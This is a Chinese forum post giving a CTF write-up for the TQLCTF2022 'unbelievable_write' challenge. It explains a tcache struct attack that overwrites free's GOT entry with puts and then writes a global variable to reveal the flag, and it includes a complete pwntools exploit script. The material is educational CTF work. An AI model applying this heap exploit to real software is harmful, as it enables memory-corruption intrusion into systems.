首页
社区
课程
招聘
[原创]【TQLCTF2022】unbelievable_write
2022-4-28 15:49 6075

[原创]【TQLCTF2022】unbelievable_write

2022-4-28 15:49
6075

tcache相较于其它的bin是一个神奇的存在,因为它的链表表头和计数器是放在堆上的。一个地址为堆块首地址并且大小为0x240的堆块。如果可以把这块free,再申请就可以修改tcache bin的表头和计数器。如果把表头改写为我们想修改的地址,并把其计数器置为大于1的数,就可以申请出地址进行修改。

 

这道题可以说是tcache struct attack 的模板了,但是当时开学为了赶路就摸了,让ymnh一个人打

 

img

保护

img

 

RELRO如果是黄色的话,一般都要考虑考虑改got表为plt表来达到劫持free或者exit等函数

 

没开pie的话,可以利用全局变量

ida

main

img

c3

img

 

改写target!=0xFEDCBA9876543210LL即可打印flag

c2

img

 

一个金手指可以执行一次free,free掉地址为ptr+offset的堆块

 

在前面的init函数里可以看出ptr是一个堆块地址

c1

img

 

申请了立马就free了,但是如果我们修改free的got表,就可以绕过free(直接free 0x404080会报错)

思路

那么思路就很明确了,利用金手指free掉tcache struct,再次申请修改tcache struct(这个时候还是会free),并把上面一个表头设置为free_got。申请,然后修改free_got为puts_plt(这个时候就不会free了)。申请0x280再次修改tcache struct,再次申请对应大小达到修改0x404080的目的。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=process('./b')
##r = remote("chuj.top", 51904)
##proof_of_work(r)
r=process('./pwn')
elf=ELF('./pwn')
 
puts_plt=elf.plt['puts']
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter("> ",str(num))
 
def free(offset):
    cho(2)
    r.sendline(str(offset))
 
def add(size,con):
    cho(1)
    r.sendline(str(size))
    r.sendline(con)
 
def peng():
    cho(3)   
 
free(-0x290)
pd=p64(0)*20+p64(elf.got['free'])
add(0x280,pd)
add(0x50,p64(puts_plt)+p64(0x401040))
 
pd=p64(0x11111111)*20+p64(0x404080)
add(0x280,pd)
z()
add(0x50,p64(0xdeadbeef))
peng()
r.interactive()

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回